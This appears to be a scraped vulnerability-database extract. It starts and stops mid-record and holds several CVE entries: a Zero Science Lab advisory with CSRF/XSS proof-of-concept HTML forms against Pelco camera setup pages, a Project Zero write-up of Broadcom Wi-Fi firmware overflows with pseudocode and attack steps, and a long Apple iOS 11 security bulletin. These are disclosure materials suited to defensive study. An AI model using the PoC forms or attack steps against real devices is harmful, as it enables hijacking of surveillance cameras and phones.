<input type="hidden" name="relay_index" value="0" />
<input type="hidden" name="relay_on_time" value="0.1" />
<input type="hidden" name="relay_off_time" value="0.1" />
<input type="hidden" name="relay_pulse_count" value="" />
<input type="hidden" name="filter_start0" value="" />
<input type="hidden" name="filter_stop0" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
| VAR-201905-1049 | CVE-2018-7825 | Schneider Electric 1st Gen Pelco Sarix Enhanced Camera Command Injection Vulnerability |
CVSS V2: 6.5 CVSS V3: 8.8 Severity: HIGH |
A Command Injection vulnerability exists in the web-based GUI of the 1st Gen PelcoSarix Enhanced Camera that could allow a remote attacker to execute arbitrary commands. Pelco Sarix Enhanced and Spectra Enhanced PTZ Camera Contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. PelcoSarix/SpectraCameras is a camera from Pelco. SchneiderElectric1stGenPelcoSarixEnhancedCamera is a series of fixed IP cameras from Schneider Electric, France. The vulnerability stems from the fact that external input data constructs executable commands, and the network system or product does not properly filter the special elements. An attacker could exploit the vulnerability to execute an illegal command. Pelco offers the broadest selection of IP cameras designedfor security surveillance in a wide variety of commercial and industrialsettings. The POST parameter 'enable_leds' locatedin the update() function called via the GeneralSetupController.phpscript is not properly sanitised before being used in writeLedConfig()function to enable led state to on or off. A remote attacker canexploit this issue and execute arbitrary system commands grantingher system access with root privileges using a specially craftedrequest and escape sequence to system shell.Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknownMontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)Lighttpd/1.4.28PHP/5.3.0.
Schneider Electric Pelco Sarix/Spectra Cameras Multiple XSS Vulnerabilities
Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: Sarix Enhanced - Model: IME219 (Firmware: 2.1.2.0.8280-A0.0)
Sarix Enhanced - Model: IME119 (Firmware: 2.1.2.0.8280-A0.0)
Sarix - Model: D5230 (Firmware: 1.9.2.23-20141118-1.9330-A1.10722)
Sarix - Model: ID10DN (Firmware: 1.8.2.18-20121109-1.9110-O3.8503)
Spectra Enhanced - Model: D6230 (Firmware: 2.2.0.5.9340-A0.0)
Summary: Pelco offers the broadest selection of IP cameras designed
for security surveillance in a wide variety of commercial and industrial
settings. From our industry-leading fixed and high-speed IP cameras to
panoramic, thermal imaging, explosionproof and more, we offer a camera
for any environment, any lighting condition and any application.
When nothing but the best will do. SarixaC/ Enhanced Range cameras
provide the most robust feature-set for your mission-critical applications.
With SureVisionaC/ 3.0, Sarix Enhanced delivers the best possible image
in difficult lighting conditions such as a combination of bright areas,
shaded areas, and intense light. Designed with superior reliability,
fault tolerance, and processing speed, these rugged fixed IP cameras
ensure you always get the video that you need.
Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
Tested on: Linux 2.6.10_mvl401-1721-pelco_evolution #1 Tue Nov 18 21:15:30 EST 2014 armv5tejl unknown
MontaVista(R) Linux(R) Professional Edition 4.0.1 (0600980)
Lighttpd/1.4.28
PHP/5.3.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5415
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5415.php
07.04.2017
--
CSRF/XSS on username parameter:
-------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/dot1x/update" method="POST">
<input type="hidden" name="dot1x" value="on" />
<input type="hidden" name="protocol" value="EAP-TLS" />
<input type="hidden" name="inner_auth" value="CHAP" />
<input type="hidden" name="username" value='"><script>alert(1)</script>' />
<input type="hidden" name="password" value="blah" />
<input type="hidden" name="anonymous_id" value=" " />
<input type="hidden" name="ca_certificate" value="test" />
<input type="hidden" name="client_certificate" value="test" />
<input type="hidden" name="private_key" value="test" />
<input type="hidden" name="private_key_password" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on gateway, hostname, ip_address, nameservers, http_port, rtsp_port and subnet_mask parameter:
-------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/general/update" method="POST">
<input type="hidden" name="hostname" value='"><script>alert(2)</script>' />
<input type="hidden" name="http_port" value='"><script>alert(3)</script>' />
<input type="hidden" name="rtsp_port" value='"><script>alert(4)</script>' />
<input type="hidden" name="dhcp" value="off" />
<input type="hidden" name="ip_address" value='"><script>alert(5)</script>' />
<input type="hidden" name="subnet_mask" value='"><script>alert(6)</script>' />
<input type="hidden" name="gateway" value='"><script>alert(7)</script>' />
<input type="hidden" name="nameservers" value='"><script>alert(8)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on version parameter:
------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/network/snmp/update" method="POST">
<input type="hidden" name="version" value='";alert(9)//' />
<input type="hidden" name="v2_community_string" value="public" />
<input type="hidden" name="v2_receiver_address" value="" />
<input type="hidden" name="v2_trap_community_string" value="trapbratce" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CSRF/XSS on device_name, ntp_server, region, smtp_server and zone parameter:
----------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/system/general/update" method="POST">
<input type="hidden" name="device_name" value='ZSL"><script>alert(10)</script>' />
<input type="hidden" name="enable_leds" value="on" />
<input type="hidden" name="smtp_server" value='"><script>alert(11)</script>' />
<input type="hidden" name="ntp_server_from_dhcp" value="false" />
<input type="hidden" name="ntp_server" value="';alert(12)//'" />
<input type="hidden" name="region" value="Macedonia';alert(13)//" />
<input type="hidden" name="zone" value="Kumanovo';alert(14)//" />
<input type="hidden" name="enable_time_overlay" value="on" />
<input type="hidden" name="enable_name_overlay" value="off" />
<input type="hidden" name="position" value="topright" />
<input type="hidden" name="date_format" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
XSS on ftp_base_path, ftp_server, ftp_username, ftp_password and name parameter:
--------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/setup/events/handlers/update" method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="relay_sentinel" value="relay_sentinel" />
<input type="hidden" name="name" value='"><script>alert(15)</script>' />
<input type="hidden" name="type" value="Ftp" />
<input type="hidden" name="email_to" value="" />
<input type="hidden" name="email_from" value="" />
<input type="hidden" name="email_subject" value="" />
<input type="hidden" name="email_message" value="" />
<input type="hidden" name="dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="limit_size" value="" />
<input type="hidden" name="limit_size_scale" value="K" />
<input type="hidden" name="ftp_server" value='"><script>alert(16)</script>' />
<input type="hidden" name="ftp_username" value='"><script>alert(17)</script>' />
<input type="hidden" name="ftp_password" value='"><script>alert(18)</script>' />
<input type="hidden" name="ftp_base_path" value='"><script>alert(19)</script>' />
<input type="hidden" name="ftp_dest_name" value="IMG%m%d%Y%H%M%S.jpg" />
<input type="hidden" name="relay_bankName" value="GPIO" />
<input type="hidden" name="relay_index" value="0" />
<input type="hidden" name="relay_on_time" value="0.1" />
<input type="hidden" name="relay_off_time" value="0.1" />
<input type="hidden" name="relay_pulse_count" value="" />
<input type="hidden" name="filter_start0" value="" />
<input type="hidden" name="filter_stop0" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
| VAR-201708-1052 | CVE-2017-11105 | OnePlus 2 Primary Bootloader Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
The OnePlus 2 Primary Bootloader (PBL) does not validate the SBL1 partition before executing it, although it contains a certificate. This allows attackers with write access to that partition to disable signature validation. OnePlus 2 Primary Bootloader (PBL) Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. OnePlus2 is a smartphone from China OnePlus. PrimaryBootloader (PBL) is one of the main boot loaders. There is a security hole in OnePlus2PBL. An attacker could exploit the vulnerability to turn off signature verification
| VAR-201707-0901 | CVE-2017-6729 | Cisco ASR 5000 For series router Cisco StarOS and VPC Software BGP In processing functions BGP Process reload vulnerability |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
A vulnerability in the Border Gateway Protocol (BGP) processing functionality of the Cisco StarOS operating system for Cisco ASR 5000 Series Routers and Cisco Virtualized Packet Core (VPC) Software could allow an unauthenticated, remote attacker to cause the BGP process on an affected system to reload, resulting in a denial of service (DoS) condition. This vulnerability affects the following products if they are running the Cisco StarOS operating system and BGP is enabled for the system: Cisco ASR 5000 Series Routers and Cisco Virtualized Packet Core Software. More Information: CSCvc44968. Known Affected Releases: 16.4.1 19.1.0 21.1.0 21.1.M0.65824. Known Fixed Releases: 21.3.A0.65902 21.2.A0.65905 21.1.b0.66164 21.1.V0.66014 21.1.R0.65898 21.1.M0.65894 21.1.0.66030 21.1.0. Vendors have confirmed this vulnerability Bug ID CSCvc44968 It is released as.BGP Process reloaded, resulting in service disruption (DoS) There is a possibility of being put into a state. The Cisco ASR5000 Series is a carrier-grade platform for deploying high-demand 3G networks and migrating to Long Term Evolution (LTE). A security vulnerability exists in the Cisco ASR5000 Series Router. A remote attacker can cause a denial of service by sending a specific TCP packet to the StarOSBorderGatewayProtocol (BGP) service.
An attacker can exploit this issue to cause a denial-of-service condition.
This issue is being tracked by Cisco Bug ID CSCvc44968. StarOS is an operating system used in it
| VAR-201709-0971 | CVE-2017-11121 |
Broadcom BCM4355C0 Wi-Fi Inside the chip such as Wi-Fi Firmware heap overflow vulnerability
Related entries in the VARIoT exploits database: VAR-E-201709-0259 |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
On Broadcom BCM4355C0 Wi-Fi chips 9.44.78.27.0.1.56 and other chips, properly crafted malicious over-the-air Fast Transition frames can potentially trigger internal Wi-Fi firmware heap and/or stack overflows, leading to denial of service or other effects, aka B-V2017061205. Broadcom BCM4355C0 Wi-Fichips is a Wi-Fi chip from Broadcom. Wi-Fifirmware is the firmware used in it. A security vulnerability exists in the 9.44.78.27.0.1.56 version of the Broadcom BCM4355C0 Wi-Fi chip. An attacker could exploit the vulnerability to cause a denial of service (heap or stack overflow). Apple iOS and tvOS are prone to multiple arbitrary code-execution vulnerabilities.
An attacker can leverage these issues to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.
Versions prior to Apple tvOS 11 and iOS 11 are vulnerable.
These issues are being tracked by Android Bud IDs A-62575409 and A-62576413. Broadcom: Multiple overflows when handling 802.11r (FT) Reassociation Response
CVE-2017-11121
Broadcom produces Wi-Fi HardMAC SoCs which are used to handle the PHY and MAC layer processing. These chips are present in both mobile devices and Wi-Fi routers, and are capable of handling many Wi-Fi related events without delegating to the host OS.
In order to allow fast roaming between access points in a wireless network, the Broadcom firmware supports the Fast BSS Transition feature (IEEE 802.11r-2008 FT), allowing a client to roam between APs in the same mobility domain. When a client decides to roam to a different AP in an FT network (in the same mobility domain), it first performs Authentication and then Reassociation.
During the Reassociation process, the client parses the Fast Transition Information Element in order to decrypt and install the embedded GTK. The FT-IE has the following structure:
-----------------------------------------------------------------------
| Tag (55) | Length | MIC CTRL | MIC | Anonce | Snonce | Sub-Elements |
-----------------------------------------------------------------------
0 1 2 4 20 52 84 X
Where each sub-element has the following structure:
---------------------------------------------------------
| Tag | Length | Key Info | Key Length | RSC | Key Data |
---------------------------------------------------------
0 1 2 4 5 13 X
(See 802.11-2016, 9.4.2.48 for more information).
On the BCM4355C0 SoC with firmware version 9.44.78.27.0.1.56 the Fast Transition Reassociation process is handled by ROM function 0x8462C. This function retrieves the FT-IE from the last association response and parses it in order to extract the GTK. Here is the approximate high-level logic
of this function:
int function_8462C(...) {
...
//Getting the FT-IE
uint8_t* ft_ie = bcm_parse_tlvs(..., ..., 55);
if (!ft_ie)
return 0;
//Getting the GTK Sub-Element
uint8_t* gtk_subelem = bcm_parse_tlvs(ft_ie + 84, ft_ie[1] - 82, 2);
if (!gtk_subelem)
return 0;
...
//Decrypting the GTK
context_struct->gtk_length = gtk_subelem[4];
if (!function_6D8(16, ..., gtk_subelem[1] - 11, gtk_subelem + 13, &context_struct->decrypted_gtk)) {
//Installing the GTK
function_C9C14(..., context_struct->decrypted_gtk, context_struct->gtk_length, ...);
...
}
...
}
function_6D8(unsigned key_length, char* key, unsigned input_length, char* input, char* output) {
...
char buf[0x200];
char buf2[0x8];
//Validating the lengths
if ( (key_length - 16) > 16 ||
((0x80808000 << (key_length - 16)) & 0x80000000) == 0 ||
input_length > 0x188 ||
input_length << 29 )
return 1;
//Copying the input into a local stack buffer
memcpy(buf2, input, 8);
memcpy(buf + 8, input + 8, input_length - 8);
//Do AES decryption
...
}
int function_C9C14(..., char* gtk, int gtk_len, ...) {
...
char* key_buffer = malloc(164);
...
memcpy(key_buffer + 8, gtk, gtk_len);
...
}
The function above fails to validate all the length fields in the FT-IE and in the embedded subelement. As a result, an attacker can cause multiple overflows by sending crafted information elements. Here are some possible attacks:
1. The attacker sends a valid FT-IE with an embedded subelement containing a valid length field (gtk_subelem[1]), but with a large crafted value in the key length field (gtk_subelem[4]). Supplying such values will cause the decryption function (0x6D8) to succeed. However, after decrypting the key, function 0xC9C14 will be called in order to install the GTK, using the crafted key length field. Supplying a large value such as 255 in this field will cause the function to copy 255 bytes from the context structure into the heap allocated buffer, whose size is only 164 -- causing a heap overflow.
2. The attacker sends a valid FT-IE with an embedded subelement whose length field (gtk_subelem[1]) is exactly 11. As we can see above, "gtk_subelem[1] - 11" is provided to the decryption function as the "input_length" field. Although the decryption function does perform some validations on the input length field, it fails to ensure that the field is larger than 8. After performing the validations, it calls "memcpy(buf + 8, input + 8, input_length - 8)" in order to copy the input into a stack-allocated buffer. If the input length is zero, "input_length - 8" will underflow, resulting in a large length argument in the memcpy. I'm not sure whether this is exploitable -- if timed correctly, it might be possible to corrupt important values after the stack, such as the global PCIE structure located at the end of RAM, which would allow the attacker to trigger writes into arbitrary locations in the host's memory.
This bug can be addressed by validating the GTK subelement length fields.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: laginimaineb
.
CVE-2016-9840
CVE-2016-9841
CVE-2016-9842
CVE-2016-9843
Entry added September 25, 2017
Additional recognition
Security
We would like to acknowledge Abhinav Bansal of Zscaler, Inc.
for their assistance.
Webkit
We would like to acknowledge xisigr of Tencent's Xuanwu Lab
(tencent.com) for their assistance. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2017-10-31-9
Additional information for APPLE-SA-2017-09-19-1 iOS 11
iOS 11 addresses the following:
802.1X
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker may be able to exploit weaknesses in TLS 1.0
Description: A protocol security issue was addressed by enabling TLS
1.1 and TLS 1.2.
CVE-2017-13832: an anonymous researcher
Entry added October 31, 2017
Bluetooth
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to access restricted files
Description: A privacy issue existed in the handling of Contact
cards. This was addressed with improved state management.
CVE-2017-7131: Dominik Conrads of Federal Office for Information
Security, an anonymous researcher, Elvis (@elvisimprsntr), an
anonymous researcher
CFNetwork Proxies
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker in a privileged network position may be able to
cause a denial of service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7083: Abhinav Bansal of Zscaler Inc.
CFString
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13821: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
CoreAudio
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to read restricted memory
Description: An out-of-bounds read was addressed by updating to Opus
version 1.1.4.
CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend
Micro
CoreText
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted font file may lead to
arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-13825: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Exchange ActiveSync
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker in a privileged network position may be able to
erase a device during Exchange account setup
Description: A validation issue existed in AutoDiscover V1. This was
addressed by requiring TLS for AutoDiscover V1. AutoDiscover V2 is
now supported.
CVE-2017-7088: Ilya Nesterov, Maxim Goncharov
file
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Multiple issues in file
Description: Multiple issues were addressed by updating to version
5.31.
CVE-2017-13815
Entry added October 31, 2017
Fonts
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Rendering untrusted text may lead to spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-13828: an anonymous researcher
Entry added October 31, 2017
Heimdal
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker in a privileged network position may be able
to impersonate a service
Description: A validation issue existed in the handling of
the KDC-REP service name. This issue was addressed through improved
validation.
CVE-2017-11103: Jeffrey Altman, Viktor Duchovni, and Nico Williams
HFS
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum
Entry added October 31, 2017
iBooks
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Parsing a maliciously crafted iBooks file may lead to a
persistent denial-of-service
Description: Multiple denial of service issues were addressed through
improved memory handling.
CVE-2017-7072: JAdrzej Krysztofiak
ImageIO
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted image may lead to arbitrary
code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-13814: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
ImageIO
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: An information disclosure issue existed in the
processing of disk images. This issue was addressed through improved
memory management.
CVE-2017-13831: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7114: Alex Plaskett of MWR InfoSecurity
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A local user may be able to read kernel memory
Description: An out-of-bounds read issue existed that led to the
disclosure of kernel memory. This was addressed through improved
input validation.
CVE-2017-13817: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13818: The UK's National Cyber Security Centre (NCSC)
CVE-2017-13836: an anonymous researcher, an anonymous researcher
CVE-2017-13841: an anonymous researcher
CVE-2017-13840: an anonymous researcher
CVE-2017-13842: an anonymous researcher
CVE-2017-13782: Kevin Backhouse of Semmle Ltd.
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13843: an anonymous researcher
Entry added October 31, 2017
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a malformed mach binary may lead to arbitrary code
execution
Description: A memory corruption issue was addressed through improved
validation.
CVE-2017-13834: Maxime Villard (m00nbsd)
Entry added October 31, 2017
Keyboard Suggestions
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Keyboard autocorrect suggestions may reveal sensitive
information
Description: The iOS keyboard was inadvertently caching sensitive
information. This issue was addressed with improved heuristics.
CVE-2017-7140: an anonymous researcher
libarchive
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: A buffer overflow issue was addressed through improved
memory handling.
CVE-2017-13813: found by OSS-Fuzz
CVE-2017-13816: found by OSS-Fuzz
Entry added October 31, 2017
libarchive
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Unpacking a maliciously crafted archive may lead to arbitrary
code execution
Description: Multiple memory corruption issues existed in libarchive.
These issues were addressed through improved input validation.
CVE-2017-13812: found by OSS-Fuzz
Entry added October 31, 2017
libc
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A remote attacker may be able to cause a denial-of-service
Description: A resource exhaustion issue in glob() was addressed
through an improved algorithm.
CVE-2017-7086: Russ Cox of Google
libc
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to cause a denial of service
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-1000373
libexpat
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in expat
Description: Multiple issues were addressed by updating to version
2.2.1
CVE-2016-9063
CVE-2017-9233
Location Framework
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to read sensitive location
information
Description: A permissions issue existed in the handling of the
location variable. This was addressed with additional ownership
checks.
CVE-2017-7148: an anonymous researcher, an anonymous researcher
Mail Drafts
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker with a privileged network position may be able to
intercept mail contents
Description: An encryption issue existed in the handling of mail
drafts. This issue was addressed with improved handling of mail
drafts meant to be sent encrypted.
CVE-2017-7078: an anonymous researcher, an anonymous researcher, an
anonymous researcher
Mail MessageUI
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: A memory corruption issue was addressed with improved
validation.
CVE-2017-7097: Xinshu Dong and Jun Hao Tan of Anquan Capital
Messages
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing a maliciously crafted image may lead to a denial
of service
Description: A denial of service issue was addressed through improved
validation.
CVE-2017-7118: Kiki Jiang and Jason Tokoph
MobileBackup
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Backup may perform an unencrypted backup despite a
requirement to perform only encrypted backups
Description: A permissions issue existed. This issue was addressed
with improved permission validation.
CVE-2017-7133: Don Sparks of HackediOS.com
Phone
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A screenshot of secure content may be taken when locking an
iOS device
Description: A timing issue existed in the handling of locking. This
issue was addressed by disabling screenshots while locking.
CVE-2017-7139: an anonymous researcher
Quick Look
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-13822: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Quick Look
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Parsing a maliciously crafted office document may lead to an
unexpected application termination or arbitrary code execution
Description: A memory consumption issue was addressed through
improved memory handling.
CVE-2017-7132: Australian Cyber Security Centre a Australian Signals
Directorate
Entry added October 31, 2017
Safari
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-7085: xisigr of Tencent's Xuanwu Lab (tencent.com)
Security
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A revoked certificate may be trusted
Description: A certificate validation issue existed in the handling
of revocation data. This issue was addressed through improved
validation.
CVE-2017-7080: an anonymous researcher, an anonymous researcher,
Sven Driemecker of adesso mobile solutions gmbh,
Rune Darrud (@theflyingcorpse) of BA|rum kommune
Security
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A malicious app may be able to track users between installs
Description: A permission checking issue existed in the handling of
an app's Keychain data. This issue was addressed with improved
permission checking.
CVE-2017-7146: an anonymous researcher
SQLite
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Multiple issues in SQLite
Description: Multiple issues were addressed by updating to
version 3.19.3.
CVE-2017-10989: found by OSS-Fuzz
CVE-2017-7128: found by OSS-Fuzz
CVE-2017-7129: found by OSS-Fuzz
CVE-2017-7130: found by OSS-Fuzz
SQLite
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7127: an anonymous researcher
Time
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: "Setting Time Zone" may incorrectly indicate that it is using
location
Description: A permissions issue existed in the process that handles
time zone information. The issue was resolved by modifying
permissions.
CVE-2017-7145: an anonymous researcher
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2017-7081: Apple
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2017-7087: Apple
CVE-2017-7091: Wei Yuan of Baidu Security Lab working with Trend
Micro's Zero Day Initiative
CVE-2017-7092: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative, Qixun Zhao (@S0rryMybad) of Qihoo 360
Vulcan Team
CVE-2017-7093: Samuel Gro and Niklas Baumstark working with Trend
Micro's Zero Day Initiative
CVE-2017-7094: Tim Michaud (@TimGMichaud) of Leviathan Security Group
CVE-2017-7095: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University working with Trend Micro's Zero Day
Initiative
CVE-2017-7096: Wei Yuan of Baidu Security Lab
CVE-2017-7098: Felipe Freitas of Instituto TecnolA3gico de AeronA!utica
CVE-2017-7099: Apple
CVE-2017-7100: Masato Kinugawa and Mario Heiderich of Cure53
CVE-2017-7102: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7104: likemeng of Baidu Secutity Lab
CVE-2017-7107: Wang Junjie, Wei Lei, and Liu Yang of Nanyang
Technological University
CVE-2017-7111: likemeng of Baidu Security Lab (xlab.baidu.com)
working with Trend Micro's Zero Day Initiative
CVE-2017-7117: lokihardt of Google Project Zero
CVE-2017-7120: chenqin (ee|) of Ant-financial Light-Year Security
Lab
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to
universal cross site scripting
Description: A logic issue existed in the handling of the parent-tab.
This issue was addressed with improved state management.
CVE-2017-7089: Anton Lopanitsyn of ONSEC, Frans RosA(c)n of Detectify
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Cookies belonging to one origin may be sent to another origin
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed by no longer returning
cookies for custom URL schemes.
CVE-2017-7090: Apple
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2017-7106: Oliver Paukstadt of Thinking Objects GmbH (to.com)
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Processing maliciously crafted web content may lead to a
cross site scripting attack
Description: Application Cache policy may be unexpectedly applied.
CVE-2017-7109: avlidienbrunn
WebKit
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: A malicious website may be able to track users in Safari
private browsing mode
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed with improved restrictions.
CVE-2017-7144: an anonymous researcher
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: An attacker within range may be able to execute arbitrary
code on the Wi-Fi chip
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-11120: Gal Beniamini of Google Project Zero
CVE-2017-11121: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-7103: Gal Beniamini of Google Project Zero
CVE-2017-7105: Gal Beniamini of Google Project Zero
CVE-2017-7108: Gal Beniamini of Google Project Zero
CVE-2017-7110: Gal Beniamini of Google Project Zero
CVE-2017-7112: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
execute arbitrary code with kernel privileges on the application
processor
Description: Multiple race conditions were addressed through improved
validation.
CVE-2017-7115: Gal Beniamini of Google Project Zero
Wi-Fi
Available for: iPhone 5s and later, iPad Air and later,
and iPod touch 6th generation
Impact: Malicious code executing on the Wi-Fi chip may be able to
read restricted kernel memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2017-7116: Gal Beniamini of Google Project Zero
zlib
